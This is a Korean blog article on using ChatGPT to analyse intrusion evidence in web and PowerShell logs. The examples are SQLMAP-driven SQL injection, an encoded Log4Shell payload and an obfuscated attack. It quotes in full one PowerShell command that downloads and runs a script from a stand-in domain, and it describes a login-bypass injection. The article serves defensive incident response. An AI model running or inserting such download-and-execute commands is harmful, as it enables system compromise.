요즘IT
위시켓
최근 검색어
전체 삭제
최근 검색어가 없습니다.

이전 글에서 ChatGPT에 대한 소개와 개발자가 ChatGPT를 활용해 소프트웨어 보안 취약점을 최소화하는 시큐어 코딩(Secure Coding) 방법에 대해 살펴보았다. 이번 글에서는 공격자들의 악의적인 접근으로 발생하는 침해 사고의 흔적을 ChatGPT로 분석해 보고자 한다.

회원가입을 하면 원하는 문장을
저장할 수 있어요!

다음

회원가입을 하면
성장에 도움이 되는 콘텐츠를
스크랩할 수 있어요!

확인

개발

개발자 ChatGPT로 보안 정복하기: 침해 사고 분석

년차,
어떤 스킬
,
어떤 직무
독자들이 봤을까요?
어떤 독자들이 봤는지 궁금하다면?
로그인
OpenAI 로고 <출처: SWARTHMORE COLLEGE ITS BLOG >

 

이전 글에서 ChatGPT에 대한 소개와 개발자가 ChatGPT를 활용해 소프트웨어 보안 취약점을 최소화하는 시큐어 코딩(Secure Coding) 방법에 대해 살펴보았다. 이번 글에서는 공격자들의 악의적인 접근으로 발생하는 침해 사고의 흔적을 ChatGPT로 분석해 보고자 한다.

 

공격자들의 발자취, 침해 사고 분석

1) 침해 사고 분석의 개요

먼저 침해 사고가 무엇인지부터 살펴보자. 정보통신망 제2조 제1항 제7호에 따르면, “침해 사고는 해킹, 컴퓨터 바이러스, 논리폭탄, 메일폭탄, 서비스 거부 또는 고출력 전자기파 등의 방법으로 정보통신망 또는 이와 관련된 정보시스템을 공격하는 행위로 인하여 발생한 사태”다.

 

즉, 침해 사고란 정보 유출, 시스템 파괴, 서비스 장애, 권한 상승 등의 공격 행위를 통해 안정적인 서비스 운영을 방해하고 보안의 3대 요소인 기밀성(Confidentiality), 무결성(Integrity), 가용성(Availability)을 저해하는 악의적인 공격으로 인해 발생한 사고다.

 

침해 사고 분석은 악의적 공격 행위나 사건 원인을 분석해서 재발 방지를 위한 대응 방안을 수립하는 활동이다. 대응 방안을 수립할 때 객관적인 증거분석을 통해 사고 원인을 파악하고 피해 범위 산정을 통해 피해 확산을 예방할 수 있다. 침해 사고 분석은 환경분석, 증거수집, 침해 사고 분석, 결과 보고의 4단계로 구성된다.

 

환경분석 단계는 침해 사고가 발생한 환경과 운영 현황을 분석한다. 운영체제 정보를 포함하여 방화벽, 백신 프로그램, CI/CD 프로그램, 이슈 추적 및 이력 관리 솔루션 등 서비스 운영에 필요한 시스템 현황과 운영 실태를 확인한다. 증거수집 단계는 환경분석 단계에서 파악한 피해 시스템과 관련된 증거물을 확보한다. 전원이 종료되면 사라지는 휘발성 로그는 물론 전원이 종료되어도 파일 등으로 저장되어 있는 비휘발성 로그까지 개발 및 운영 환경에서 발생하는 모든 이벤트와 산출물을 수집하게 된다.

 

증거수집이 완료되면 침해 사고 분석을 수행한다. 수집된 증거물 간의 상관관계나 인과관계를 분석해서 공격의 흔적과 공격 의도, 추가 피해 여부 등을 분석하게 된다. 마지막 단계인 결과 보고 단계에서는 객관적 증거를 토대로 육하원칙에 따라 사고 원인과 향후 대응 방안을 제시한다.

 

침해 사고는 하나의 보안 위험으로 인해 발생할 수도 있고, 다양한 보안 위험들이 결합되어 발생할 수도 있기 때문에 원인 분석과 대응이 매우 중요하다. 웹 개발자 입장에서 침해 사고와 맞닥뜨리는 경우의 상당수는 웹 애플리케이션 취약점으로 인한 침해 사고다. 이전 글에서 살펴보았던 SQL 인젝션, 크로스 사이트 스크립트, 위험한 파일 업로드 등은 대표적인 웹 애플리케이션 보안 취약점이다.

 

2) 침해 사고 증거분석 : 웹 로그 분석

일반적인 웹 애플리케이션은 다수의 사용자가 접근하는 공개된 서비스이기 때문에 폐쇄망이 아닌 공개망을 통해 운영된다. 그렇기 때문에 웹 애플리케이션은 공격자들이 좋아하는 공격 대상 중 하나다. 따라서 웹 로그를 분석하면 침해 사고의 증거물들을 확인할 수 있다. 웹 로그에는 방문자의 접속 시간, 접근 페이지 정보, 접근 성공 여부 등이 기록되기 때문에 공격자의 흔적을 발견하기 쉽다.

 

아래는 웹 로그 분석에 사용된 웹로그 파일이다. Ali Hadi 박사가 공개한 아파치 웹 서버에 대한 공격 로그이고, /xampp/apache/logs 경로에 있는 아파치 웹 로그 파일인 access.log 파일을 분석했다.

 

개발자 ChatGPT 보안

 

access.log의 일부를 ChatGPT에게 분석을 요청하면 SQLMAP을 공격에 사용했다는 것을 알 수 있다. SQLMAP은 Oracle, MySQL, MSSQL 등의 데이터베이스에 SQL 인젝션 공격을 해서 데이터베이스의 취약점을 분석할 수 있는 파이썬 기반의 취약점 진단 도구이다. ChatGPT는 SQLMAP을 사용한 요청들 중에 주석을 포함한 요청을 알려주고 이 요청은 SQL 인젝션 취약점을 발생시킨다고 설명한다.

 

개발자 ChatGPT 보안

 

SQL 인젝션은 이전 글에서도 설명한 것과 같이 “웹 애플리케이션에서 사용자의 입력 값을 이용하거나 조작하여 서버의 데이터베이스를 열람하거나 조작할 수 있는 보안 취약점”이다. 결국은 데이터베이스를 임의 조작해 데이터베이스에서 원하는 정보를 획득할 수 있다.

 

SQL 인젝션 공격 시나리오를 자세하게 살펴보면, 공격자는 로그인 기능이 존재하는 웹 애플리케이션에 접속한다. 공격자는 로그인 정보를 입력하는 과정에서 SQL 인젝션을 이용해 로그인을 시도하고 로그인 검증 과정을 무력화시킨다. 정상적인 아이디와 패스워드 값 대신 공격 구문을 삽입하는 것이다.

 

위 공격 시나리오는 간단하다. 아이디 값은 username으로 입력받고 패스워드 값은 password로 입력받을 때, username 이후에 오는 쿼리문을 주석 처리하는 구문을 포함시키는 것이다. 즉,  password에 어떤 값이 입력되더라도 로그인에 성공하게 한다. SQL 인젝션 공격이 성공하면 공격자는 패스워드를 모르지만 로그인에 성공하여 타인의 정보를 열람할 수 있게 된다.

 

개발자 ChatGPT 보안

 

ChatGPT에게 SQL 인젝션 공격 구문에 대해 추가적인 분석을 요청하면, 앞선 결과보다 상세한 답변을 확인할 수 있다. UNION ALL SELECT 쿼리문을 사용한 반복적인 공격 시도를 통해 공격 성공률을 높이고 있다고 설명한다. 이러한 과정은 개발자 입장에서 SQL 인젝션 취약점을 정확히 모르더라도 SQLMAP 도구를 이용한 자동화된 SQL 인젝션 공격이 시도되었다는 사실을 인지할 수 있다.

 

개발자 ChatGPT 보안

 

이번에는 다른 공격의 예시를 분석해 보자. 아래의 웹 로그에는 2021년 연말 전 세계 소프트웨어 개발자들을 공포에 휩싸이게 했던 CVE-2021-44228 취약점을 노린 공격 흔적이 남아 있다. Log4Shell이라고 불리는 이 취약점은 자바 기반의 로깅 유틸리티인 Log4j에서 발생하는 JNDI(Java Naming and Directory Interface) 인젝션 취약점이다. 원격에서 시스템 제어 공격이 가능하고 시스템에 높은 영향을 미치는 공격이기 때문에 보안 심각도 점수를 의미하는 CVSS에서 무려 10점 만점에 10점을 받았다.

 

SQL 인젝션 분석과 마찬가지로 웹 로그의 일부를 ChatGPT에게 분석을 요청했다. 웹 로그에 남아 있는 Log4Shell 공격 구문은 BASE64로 인코딩 되어 있어 디코딩이 필요하다. BASE64 인코딩이란 ASCII 문자로만 이루어진 텍스트로 변환하는 과정이다. 이를 분석하기 위해서는 사람이 알아보기 쉬운 원문으로 직접 디코딩 한 후 분석해야 한다. ChatGPT는 공격 구문을 디코딩 하여 이 구문이 악성 스크립트를 다운로드하는 공격이라고 분석했다.

 

개발자 ChatGPT 보안

 

추가적으로 위 웹 로그와 관련된 취약점이 있는지 질문했으나, ChatGPT는 관련된 취약점을 발견하지 못했다. 왜 이런 결과가 나왔을까?

 

Log4Shell은 2021년 12월 9일 공개된 취약점이다. ChatGPT는 JNDI 인젝션은 분석할 수 있었지만, 2021년 10월 이전의 데이터만 학습되었기 때문에 Log4Shell이라는 취약점에 대한 답변을 하지 못한 것이다. ChatGPT는 학습 데이터를 토대로 질문에 답변한다. 그러나 기존 데이터를 토대로 새로운 결과를 추론하기는 어려운 일이기 때문에 침해 사고의 모든 로그를 분석하는 것은 한계가 있다.

 

개발자 ChatGPT 보안

 

3) 침해 사고 증거분석 : Powershsell 로그 분석

Microsoft에서 개발한 파워쉘은 시스템 관리를 제공하는 명령 줄 쉘 프로그램이다. 윈도우 비스타 이후 윈도우 8, 윈도우 10에 포함되어 윈도우 환경에서만 사용이 가능했으나 크로스 플랫폼 지원 및 오픈소스 공개를 통해 현재는 다양한 환경에서 사용이 가능하다.

 

공격자들은 파워쉘을 이용해 파일 리스(Fileless) 공격을 하거나 악성 스크립트를 다운로드하게 하는 공격을 한다. 파워쉘은 시스템 리소스에 접근이 가능하고 다양한 명령어와 옵션을 제공하여 시스템 제어가 용이하기 때문에 이런 공격에 자주 사용된다. 봇넷 감염이나 랜섬웨어 감염 등 최근에 발생하는 해킹 사고의 상당수에 파워쉘이 사용되는 이유는 위와 같은 파워쉘의 강력한 기능과 편리함 때문이다.

 

ChatGPT에게 난독화된 파워쉘 공격 구문의 분석을 요청했다. 질문에 사용된 공격 코드는 “IEX(New-Object Net.WebClient).DownloadString(’http://www.kim.security/hacking.ps1’)”로 파워쉘을 이용해www.kim.security 도메인에 있는 hacking.ps1이라는 악성 스크립트를 다운로드하는 공격 구문이다.

 

ChatGPT는 다운로드 되지 않은 hacking.ps1 파일을 분석해 주지는 않지만, 난독화된 공격 구문을 분석하여 비정상적인 동작을 수행할 수 있으니 주의가 필요하다는 경고를 덧붙이고 있다.

 

개발자 ChatGPT 보안

 

난독화된 문자열에 대해 자세하게 알고 싶다면 다시 질문을 하면 된다. 다시 질문을 하면 앞선 답변보다 자세한 답변을 제공한다. ‘문자열 포맷팅’에 대한 설명과 함께 앞선 답변에서 설명한 6단계에 맞춰 구체적인 내용을 알려준다.

 

개발자 ChatGPT 보안

 

 

소 잃은 외양간을 지키는 방법

침해 사고를 속담에 비유한다면 외양간에서 소를 잃은 상황이다. 잃어버린 소를 찾기 위해서는 원인을 알아야 한다. 관리되지 않은 외양간 출입문으로 소가 스스로 나간 것인지, 뚫린 외양간 담장으로 도둑이 들어와 소를 데리고 갔는지 분석해야 유사하거나 동일한 사고 발생을 방지할 수 있다. 

 

모든 외양간이 튼튼하게 구축되면 더할 나위 없이 좋겠지만 현실적으로는 불가능한 일이다. 그렇지만 도망치는 소를 두고 볼 수만은 없다. 따라서, 침해 사고가 발생했을 때 원인 분석과 후속 조치를 하는 것은 중요한 일이다. 또, 침해 사고의 원인은 다양하기 때문에 객관적인 증거를 확보하기 위해서는 로그 분석이 중요하다. 

 

ChatGPT는 침해 사고를 방지하는 데 도움을 줄 수 있다. 하지만 ChatGPT의 성능이 아무리 뛰어나도 ChatPGT 스스로 사고를 막을 순 없기 때문에 상황에 맞는 명확한 지시를 해야 한다. ChatGPT 활용방안을 토대로 외양간의 소를 지키는 다양한 활용 방법을 함께 고민할 필요가 있다.

 

다음 글에서는 악성코드를 통해 발생하는 보안 사고를 주제로 ChatGPT 활용 방법에 대해 살펴볼 예정이다.

 

김보안

편집 오신엽 객원 에디터

 

요즘IT의 모든 콘텐츠는 저작권법의 보호를 받는 바, 무단 전재와 복사, 배포 등을 금합니다.

좋아요

댓글

공유

공유

정보관리기술사 보안전문가
7
명 알림 받는 중

작가 홈

정보관리기술사 보안전문가
7
명 알림 받는 중
정보관리기술사로서 보안전문가로 일하고 있습니다.
다양한 방면의 보안지식 공유를 통해 즐거움을 느낍니다.

좋아요

댓글

스크랩

공유

공유

지금 회원가입하고,
요즘IT가 PICK한 뉴스레터를 받아보세요!

회원가입하기
요즘IT의 멤버가 되어주세요! 요즘IT의 멤버가 되어주세요!
요즘IT의 멤버가 되어주세요!
모든 콘텐츠를 편하게 보고 스크랩해요.
모든 콘텐츠를 편하게 보고 스크랩 하기
매주 PICK한 콘텐츠를 뉴스레터로 받아요.
매주 PICK한 콘텐츠를 뉴스레터로 받기
로그인하고 무료로 사용하기